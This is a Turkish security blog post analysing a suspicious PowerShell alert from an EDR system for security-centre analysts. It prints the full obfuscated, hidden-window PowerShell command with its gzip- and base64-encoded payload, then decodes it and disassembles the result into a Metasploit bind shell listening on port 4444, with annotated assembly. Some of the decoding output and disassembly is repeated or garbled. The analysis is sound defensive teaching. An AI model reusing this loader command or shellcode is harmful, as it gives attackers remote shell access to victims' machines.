

# Zararlı Powershell Analizi

written by Mert SARICA | 1 January 2019

Sysmon gibi ücretsiz, FireEye HX, Carbon Black Response gibi ticari EDR (endpoint detection & response) güvenlik teknolojilerine sahip olan kurumların yakından izlediği alarmların başında, hemen hemen her tehdit raporunda, araştırma yazısında adının sıklıkla geçtiği Powershell olduğunu az çok tahmin edebilirsiniz. Invoke-Obfuscation gibi yardımcı araçlar nedeniyle hedef işletim sisteminde Powershell kullanımının tespit edilmesinin çok daha zorlaştığı günümüzde, EDR teknolojilerine olan bağımlılık ve Powershell kayıtlarına olan ihtiyaç, kurumlar için elzem bir hale gelmiştir.

Her güvenlik teknolojisinde olduğu gibi EDR teknolojisinde de alarmları analiz edebilecek yetkinlikte insan kaynağı olmadan bu teknolojiye sahip olmak, kurumlar için ölü bir yatırım olmaktan öteye gidememektedir.

Analistler sayesinde komut satırında tespit edilen bir alarmın günün sonunda hedef sistemin belleğinde çalıştırdığı kabuk kodunun (shellcode) türüne, bağlantı noktasına kadar önemli bilgilere erişmek mümkün olabilmektedir.

Örneğin kurumunuzdaki EDR sisteminiz şüpheli bir Powershell kullanımı ile ilgili olarak aşağıdaki şekilde bir alarm ürettiğinde Siber Güvenlik Merkezi'nizdeki analistlerin en kısa sürede bu alarmı analiz etmek için işe koyulmaları gerekmektedir.

```
"event_values": {
  "processEvent/eventType": "start",
  "processEvent/process": "powershell.exe",
  "processEvent/processPath":
  "C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe",
  "processEvent/processCmdLine": "\"powershell.exe\" -noni -nop -w hidden -c
  &([scriptblock]::create((New-Object IO.StreamReader(New-Object
  IO.Compression.GzipStream((New-Object
  IO.MemoryStream(,[Convert]::FromBase64String('H4sIAL3yl1oCA7VWbW/i0BD+3JX2P0Q
  rpCS6lJfCbtVKK53DS0lLWmgglHL05CZ0MDgxdZzysrf//SaQbLtq9273pItA0PaMPfM8z4wJ0tiT
  lMfKKtwqX96/0+pjgSNFK7HH1sAxlnLD3N0PjmChtLOVz4o2RatVi0eYxrPz82YqBInl4b18QSRKE
  hI9MEoSTVf+UsZzIsjxzc0CeFL5opT+LF8w/oBZbrZtYm90lGMU+9laj3s4i6XsrBiVmvrrHH6o+Pa
  7Nyu3HFLNEU51tIklu9hlTdeWrnh043K6IptrUEzzhgSyPaVw/KY/iBAfkGnZ7IjaRc+4nqq45wEc
```

QmYpYgWwy980ipsKwL7iHfF+QBgzLVvzEl0QrxSljvhK7Ns3Pvk1jSSMC65IIvNkIeKIEscpdHPuM  
3JJgpl2TdZHyzzpL53Aqi+FbgAJr4K0uZ8ycvBT9ddhHmjT4cmpg6y/vn/3/l1Q8EyW3/EMo6Ppf  
kwgNq3PE7o3+6xUDcWgc7DkYguvpaFIiT5Tphni09lMKW2W8aP3WuFLVh67J6kMDd10fVn4JNzUd  
rEg9PTb0HHomqRgMaktY1xRL1CN9pbIJ0AkX205cLsGsLS1HyB+C3CSiHlBpyhTF+7tSMqv/maKWU  
+EcgDohKICjjUvw/mwIWmWrFNIgDp8K4C8AGolRTWuUK3xenZ0xipTYaTxFD6KZSLZyg0wYz4hoLi  
h0ZLKJV8P1Sfw7VTJqmHE1lsN90/AZkf20RxIkXqAXGQ/NBZEY9ilmFhKF3qE3Pr0LA4WH0TiSZmj  
MYh7PQETMBMhoAjMzkIiDgJXi87RFRripEITPZ122E4hCrN1b6XDw6Jr76KsBD0Qb0ZGAUkL+IDhh  
3GpaG4VEio/wzYvZD+0/kvKv8QSV0QnAytqJGpuZWZtEvLXqb4Apc9CkICAh3BIxMn5FPdkQLw0T5  
UbmgtwT0xYmZ75pLW0JrWLBu+I1q3e0vUv7pcdCuitZkHyEosu9tvDbrdxt0l4zak07bkVd+Sdvtu  
sXBQ93Y0kfcw6g5pdTlp7FaXd0f0kD/ZVD7tzN26am52i9APJqogCE8D57b2sUN74+bArJ7gXqud9  
sbm2qw2kjZddwd0NFheduTDxGV4FFTCu9oZppueWlg1bu8shC7mdw93GbgXc9vfTrqVs3FjidoINE  
022zH51cQUqF9xcSjvRze9Mxx2HlG0eGydVUKwvcPIQm13e/kx4g0X+Xwtk/p9peK6J7T+abioVM7  
c09wdJje/dSs1l8DYTYdjGI85wuHt2D0JmyfePIC9etfRCmGEBgiZYxyafHx10/wYVNxl7foRde6H  
z7Yjc72NL3xy2vqQ8QrElSIVeUHXj5qtjUuyxwXohD5aVE+Hi07eGfucZh6alt2ESyJiwuAmgbumE  
CBijHtZW85aKNwIhz49gwIawbB+8uZIV74Z6s/9upg6P7+HGEHQoLhyj8ShnBvVTb1aheZb3TSqk0  
HPp9Xkq62W7WRkvTtDjd+Y7TfWM4mXeNs66/6va0WFNYcf/1/Qep77h9WfQrBq7PN9Nfv9xC/B+at  
5jzGVY0hAX2DkcdW9mX6uixex  
954T4D3In+yf000qj6/hUv8bAKByiaAJAAA=' )) , [ IO.Compression.CompressionMode ]::De  
compress))) .ReadToEnd())" ,

```
"processEvent/parentProcessPath":  
"C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\powershell.exe",  
"processEvent/parentProcess": "powershell.exe",  
}
```

Alarmda dikkat çeken kısımların başında GzipStream, FromBase64String, IO.MemoryStream geldiğini görebilir ve buradan yola çıkarak GZIP ile paketlenip, Base64 ile gizlenmiş bu verinin bellekte bir işlem gerçekleştirdiği varsayımında bulunabilirsiniz.

Kali üzerinde bulunan echo, base64, xxd, gunzip komut satırı araçlarından faydalanarak kısa sürede gizlenmiş bu veriyi aşağıdaki şekilde çözebilirsiniz.





```
root@ubuntu:~# echo /0TCAAAYInMcbk11Aw11M1I1U1310d7dkJH/rDxhfAISIMHPQHH4V3SV4tSETKPIIMEXJ|SAHRUYZ|IAHT10KY4zp1zSLAdYX/6ZBzW0BxzJgdfYDffg7fSR15f1LWCQ802alDEuLwBwB04SE1wH01UQKJfEbYV1aUf/gX19a1xLrJv1QWZ1AAG
h3c2JfVgRkdyH/9w4kAEACNEVfBokYBRAP/VagtZUOL9agFqAmJqD9/g/9wXaaIAEvY35moQV1dowts3Z//VV2136Tj//9vXaHTSOH/1VexahvUWH/1woAagrwV2gC2chf/9wNmpAaAAQAABwagBowKRT5f/Vk1NqAFZTV2gC2chf/9UBwyrngde7D | base64 --decode |
xxd -p
base64: invalid input
fce882000006089e531c0648b50308b520c8b52148b72280fb74a2631ff
ac3c617c022c20c1cf0901c7e2f252578b52108b4a3c804c1179e34801d1
518b95000d38b0918e33498b348001d631ffacc1cf0901c738e075f603
7df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424
245b3b61995a51ff403f5a8b12eb6d5d68332000068773325f54684c
772607ff5b89001000029c454506829806b00ff56a0b5950e2fde016a
0268ea0f0effd597680200115c89e66a10565768c2db3767ff5d5768b7
e938fff5576874ec387ff555e3da1d593587ff55a801a811593da00b6
7217fff562cd9a901a00040000159a801a162914f97f5644da801594d5
da00b67217fff54070ca719d7bb0
root@ubuntu:~# echo /0TCAAAYInMcbk11Aw11M1I1U1310d7dkJH/rDxhfAISIMHPQHH4V3SV4tSETKPIIMEXJ|SAHRUYZ|IAHT10KY4zp1zSLAdYX/6ZBzW0BxzJgdfYDffg7fSR15f1LWCQ802alDEuLwBwB04SE1wH01UQKJfEbYV1aUf/gX19a1xLrJv1QWZ1AAG
h3c2JfVgRkdyH/9w4kAEACNEVfBokYBRAP/VagtZUOL9agFqAmJqD9/g/9wXaaIAEvY35moQV1dowts3Z//VV2136Tj//9vXaHTSOH/1VexahvUWH/1woAagrwV2gC2chf/9wNmpAaAAQAABwagBowKRT5f/Vk1NqAFZTV2gC2chf/9UBwyrngde7D | base64 --decode |
xxd -p |xxd -r -p > payload2.bin
base64: invalid input
root@ubuntu:~# file payload2.bin
payload2.bin: data
root@ubuntu:~#
```

root@ubuntu:~# python shellcode2exe.py

shellcode to executable converter  
by Mario vilas (mvilas at gmail dot com)

Usage:

```
shellcode2exe.py payload.bin [payload.exe]
[--arch=i386|powerpc|sparc|arm]
[--os=windows|linux|freebsd|openbsd|solaris]
[-c Allow for ascii shellcode as a cmd line parameter]
[-s Allows for ascii shellcode in file]
[-d Allows for unicode shellcode as a cmd line parameter]
[-u Allows for unicode shellcode in file]
```

Options:

```
-h, --help show this help message and exit
-a ARCH, --arch=ARCH target architecture [default: i386]
-o OS, --os=OS target operating system [default: windows]
-c, --asciicmd enable ascii entry in command line (e.g. -c '\x90\x90')
-s, --asciifile enable ascii entry in input file
-d, --unicodcmd enable unicode entry in command line (e.g. -d '%u9090')
-u, --unicodfile enable unicode entry in input file
```

root@ubuntu:~# python shellcode2exe.py -o linux payload2.bin shellcode

shellcode to executable converter  
by Mario vilas (mvilas at gmail dot com)

Reading raw shellcode from file payload2.bin  
Generating executable file  
Writing file shellcode  
Done.

root@ubuntu:~# file shellcode

shellcode: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, corrupted section header size  
root@ubuntu:~#  
root@ubuntu:~#

Radare2 ile shellcode dosyasını analiz ettiğinizde ise aslında bunun Metasploit'in 4444. bağlantı noktasında dinleyen bir bind kabuk kodu olduğunu görebilirsiniz.

```
root@ubuntu:~# r2 shellcode
warning: read (strtab) at 0x20
warning: Cannot initialize strings table
[0x08048054]> pd
```

```

|-- entry0:
0x08048054 fc          cld
0x08048055 e882000000 call 0x080480dc
      0x080480dc() ; entry0
0x0804805a 60          pushad
0x0804805b 89e5       mov ebp, esp
0x0804805d 31c0       xor eax, eax
0x0804805f 648b5030  mov edx, [fs:eax+0x30]
0x08048063 8b520c     mov edx, [edx+0xc]
0x08048066 8b5214     mov edx, [edx+0x14]
0x08048069 8b7228     mov esi, [edx+0x28]
0x0804806c 0fb74a26  movzx ecx, word [edx+0x26]
0x08048070 31ff       xor edi, edi
0x08048072 ac         lodsb
0x08048073 3c61       cmp al, 0x61
0x08048075 7c02       jl 0x08048079
0x08048077 2c20       sub al, 0x20
0x08048079 c1cf0d     ror edi, 0xd
0x0804807c 01c7       add edi, eax
0x0804807e e2f2       loop 0x108048072
0x08048080 52         push edx
0x08048081 57         push edi
0x08048082 8b5210     mov edx, [edx+0x10]
0x08048085 8b4a3c     mov ecx, [edx+0x3c]
0x08048088 8b4c1178  mov ecx, [ecx+edx+0x78]
0x0804808c e348       jecxz 0x080480d6
0x0804808e 01d1       add ecx, edx
0x08048090 51         push ecx
0x08048091 8b5920     mov ebx, [ecx+0x20]
0x08048094 01d3       add ebx, edx
0x08048096 8b4918     mov ecx, [ecx+0x18]
0x08048099 e33a       jecxz 0x080480d5
0x0804809b 49         dec ecx
0x0804809c 8b348b     mov esi, [ebx+ecx*4]
0x0804809f 01d6       add esi, edx
0x080480a1 31ff       xor edi, edi
0x080480a3 ac         lodsb
0x080480a4 c1cf0d     ror edi, 0xd
0x080480a7 01c7       add edi, eax
0x080480a9 38e0       cmp al, ah
0x080480ab 75f6       jnz 0x1080480a3
0x080480ad 037df8     add edi, [ebp-0x8]
0x080480b0 3b7d24     cmp edi, [ebp+0x24]
0x080480b3 75e4       jnz 0x108048099
0x080480b5 58         pop eax
0x080480b6 8b5824     mov ebx, [eax+0x24]
0x080480b9 01d3       add ebx, edx
0x080480bb 668b0c4b  mov cx, [ebx+ecx*2]
0x080480bf 8b581c     mov ebx, [eax+0x1c]
0x080480c2 01d3       add ebx, edx
0x080480c4 8b048b     mov eax, [ebx+ecx*4]
0x080480c7 01d0       add eax, edx
0x080480c9 89442424  mov [esp+0x24], eax
0x080480cd 5b         pop ebx
0x080480ce 5b         pop ebx
0x080480cf 61         popad
0x080480d0 59         pop ecx
0x080480d1 5a         pop edx
0x080480d2 51         push ecx
0x080480d3 ffe0       jmp eax
0x080480d5 5f         pop edi
0x080480d6 5f         pop edi
0x080480d7 5a         pop edx
0x080480d8 8b12     mov edx, [edx]
0x080480da eb8d     jmp 0x108048069
0x080480dc 5d         pop ebp
```

```
0x080480b6 8b5824 mov ebx, [eax+0x24]
0x080480b9 01d3 add ebx, edx
0x080480bb 668b0c4b mov cx, [ebx+ecx*2]
0x080480bf 8b581c mov ebx, [eax+0x1c]
0x080480c2 01d3 add ebx, edx
0x080480c4 8b048b mov eax, [ebx+ecx*4]
0x080480c7 01d0 add ebx, edx
0x080480c9 89442424 mov [esp+0x24], eax
0x080480cd 5b pop ebx
0x080480ce 5b pop ebx
0x080480cf 61 popad
0x080480d0 59 pop ecx
0x080480d1 5a pop edx
0x080480d2 51 push ecx
0x080480d3 ffe0 jmp eax
0x080480d5 5f pop edi
0x080480d6 5f pop edi
0x080480d7 5a pop ebx
0x080480d8 8b12 mov ebx, [edx]
0x080480da ebd8 jmp 0x108048069
0x080480dd 5d pop ebp
0x080480de 68332000 push 0x2333 ; 0x00003233
0x080480e2 68773232 push 0x5f327377 ; 0x5f327377
0x080480e7 54 push esp
0x080480e8 684c772607 push 0x726774c ; 0x0726774c
0x080480ed ffd5 call ebp
0x00000000(unk, unk, unk, unk, unk, unk, unk, unk)
0x080480ef b890010000 mov eax, 0x190
0x080480f4 29c4 sub esp, eax
0x080480f6 54 push esp
0x080480f7 50 push eax
0x080480f8 6829806b00 push 0x6b8029 ; 0x006b8029
0x080480fd ffd5 call ebp
0x00000000(unk, unk, unk)
0x080480ff 6a0b push 0xb ; 0x0000000b
0x08048101 59 pop ecx
0x08048102 50 push eax
0x08048103 e2fd loop 0x108048102
0x08048105 6a01 push 0x1 ; 0x00000001
0x08048107 6a02 push 0x2 ; 0x00000002
0x08048109 68eafdf0ea push 0xeafdf0ea ; 0xeafdf0ea
0x0804810e ffd5 call ebp
0x00000000(unk, unk, unk, unk, unk)
0x08048110 97 xchg edi, eax
0x08048111 680200115c push 0x5c110002 ; 0x5c110002
0x08048116 896e mov esi, esp
0x08048118 6a10 push 0x10 ; 0x00000010
0x0804811a 56 push esi
0x0804811b 57 push edi
0x0804811c 68c2db3767 push 0x737db2c ; 0x6737db2c
0x08048121 ffd5 call ebp
0x00000000(unk, unk, unk, unk, unk)
0x08048123 57 push edi
0x08048124 68b7e938ff push 0xf38e9b7 ; 0xff38e9b7
0x08048129 ffd5 call ebp
0x00000000(unk, unk)
0x0804812b 57 push edi
0x0804812c 6874ec387f push 0xf38ec74 ; 0xf738ec74
0x08048131 f5 cmc
0x08048132 55 push ebp
0x08048133 e5da in eax, 0xda
0x08048135 1d5b93587f sbb eax, 0xf758935b
0x0804813a f5 cmc
0x0804813b 5a pop edx
0x0804813c 801a81 sbb byte [edx], 0x81
0x0804813f 1595da00b6 adc eax, 0xb60da95
0x08048144 7217 jb 0x804815d
0x08048146 fff5 push ebp
0x08048148 62 invalid
0x08048149 cd9a int 0x9a
```

```
0x080480b6 8b5824 mov ebx, [eax+0x24]
0x080480b9 01d3 add ebx, edx
0x080480bb 668b0c4b mov cx, [ebx+ecx*2]
0x080480bf 8b581c mov ebx, [eax+0x1c]
0x080480c2 01d3 add ebx, edx
0x080480c4 8b048b mov eax, [ebx+ecx*4]
0x080480c7 01d0 add ebx, edx
0x080480c9 89442424 mov [esp+0x24], eax
0x080480cd 5b pop ebx
0x080480ce 5b pop ebx
0x080480cf 61 popad
0x080480d0 59 pop ecx
0x080480d1 5a pop edx
0x080480d2 51 push ecx
0x080480d3 ffe0 jmp eax
0x080480d5 5f pop edi
0x080480d6 5f pop edi
0x080480d7 5a pop ebx
0x080480d8 8b12 mov ebx, [edx]
0x080480da ebd8 jmp 0x108048069
0x080480dd 5d pop ebp
0x080480de 68332000 push 0x2333 ; 0x00003233
0x080480e2 68773232 push 0x5f327377 ; 0x5f327377
0x080480e7 54 push esp
0x080480e8 684c772607 push 0x726774c ; 0x0726774c
0x080480ed ffd5 call ebp
0x00000000(unk, unk, unk, unk, unk, unk, unk, unk)
0x080480ef b890010000 mov eax, 0x190
0x080480f4 29c4 sub esp, eax
0x080480f6 54 push esp
0x080480f7 50 push eax
0x080480f8 6829806b00 push 0x6b8029 ; 0x006b8029
0x080480fd ffd5 call ebp
0x00000000(unk, unk, unk)
0x080480ff 6a0b push 0xb ; 0x0000000b
0x08048101 59 pop ecx
0x08048102 50 push eax
0x08048103 e2fd loop 0x108048102
0x08048105 6a01 push 0x1 ; 0x00000001
0x08048107 6a02 push 0x2 ; 0x00000002
0x08048109 68eafdf0ea push 0xeafdf0ea ; 0xeafdf0ea
0x0804810e ffd5 call ebp
0x00000000(unk, unk, unk, unk, unk)
0x08048110 97 xchg edi, eax
0x08048111 680200115c push 0x5c110002 ; 0x5c110002
0x08048116 896e mov esi, esp
0x08048118 6a10 push 0x10 ; 0x00000010
0x0804811a 56 push esi
0x0804811b 57 push edi
0x0804811c 68c2db3767 push 0x737db2c ; 0x6737db2c
0x08048121 ffd5 call ebp
0x00000000(unk, unk, unk, unk, unk)
0x08048123 57 push edi
0x08048124 68b7e938ff push 0xf38e9b7 ; 0xff38e9b7
0x08048129 ffd5 call ebp
0x00000000(unk, unk)
0x0804812b 57 push edi
0x0804812c 6874ec387f push 0xf38ec74 ; 0xf738ec74
0x08048131 f5 cmc
0x08048132 55 push ebp
0x08048133 e5da in eax, 0xda
0x08048135 1d5b93587f sbb eax, 0xf758935b
0x0804813a f5 cmc
0x0804813b 5a pop edx
0x0804813c 801a81 sbb byte [edx], 0x81
0x0804813f 1595da00b6 adc eax, 0xb60da95
0x08048144 7217 jb 0x804815d
0x08048146 fff5 push ebp
0x08048148 62 invalid
0x08048149 cd9a int 0x9a
```

```
12 bind_tcp;
13   push 0x00003233 ; Push the bytes 'ws2_32',0,0 onto the stack.
14   push 0x5f327377 ; ...
15   push esp ; Push a pointer to the "ws2_32" string on the stack.
16   push 0x0726774c ; hash( "kernel32.dll", "LoadLibraryA" )
17   call ebp ; LoadLibraryA( "ws2_32" )
18
19   mov eax, 0x0190 ; EAX = sizeof( struct WSADATA )
20   sub esp, eax ; alloc some space for the WSADATA structure
21   push esi ; push a pointer to this struct
22   push eax ; push the wVersionRequested parameter
23   push 0x00688029 ; hash( "ws2_32.dll", "WSAStartup" )
24   call ebp ; WSAStartup( 0x0190, &WSADATA );
25
26   push byte 8
27   pop ecx ; if we succeed, eax will be zero, push it 8 times for later ([1]-[8])
28   push_r_loop:
29   push eax
30   loop push_r_loop
31
32   ; push zero for the flags param [8]
33   push null for reserved parameter [7]
34   ; we do not specify a WSAPROTOCOL_INFO structure [6]
35   ; we do not specify a protocol [5]
36   inc ecx
37   push eax ; push SOCK_STREAM
38   inc ecx
39   push eax ; push AF_INET
40   push 0xE00F0FEA ; hash( "ws2_32.dll", "WSASocketA" )
41   call ebp ; WSASocketA( AF_INET, SOCK_STREAM, 0, 0, 0 );
42   xchg edi, eax ; save the socket for later, don't care about the value of eax after this
43
44   ; bind to 0.0.0.0, pushed earlier [4]
45   push 0x5c110002 ; family AF_INET and port 4444
46   mov esi, esp ; save a pointer to sockaddr_in struct
47   push byte 16 ; length of the sockaddr_in struct (we only set the first 8 bytes as the last 8 are unused)
48   push esi ; pointer to the sockaddr_in struct
49   push edi ; socket
50   push 0x6737db2c ; hash( "ws2_32.dll", "bind" )
51   call ebp ; bind( s, &sockaddr_in, 16 );
52
53   ; backlog, pushed earlier [3]
54   push edi ; socket
```

Sonuca gelecek olursak, bu örnekten yola çıkarak günümüzde gerçekleştirilen ileri seviye siber saldırılarla mücadelede EDR gibi teknolojilerden kurumların tam anlamıyla faydalanabilmeleri için alarmları analiz edebilecek yetkin insan kaynağına da bir o kadar ihtiyaçları bulunmaktadır.

Bir sonraki yazıda görüşmek dileğiyle herkese güvenli günler dilerim.

Not:

1. Bu yazı ayrıca Pi Hediyem Var #14 oyununun çözüm yolunu da içermektedir.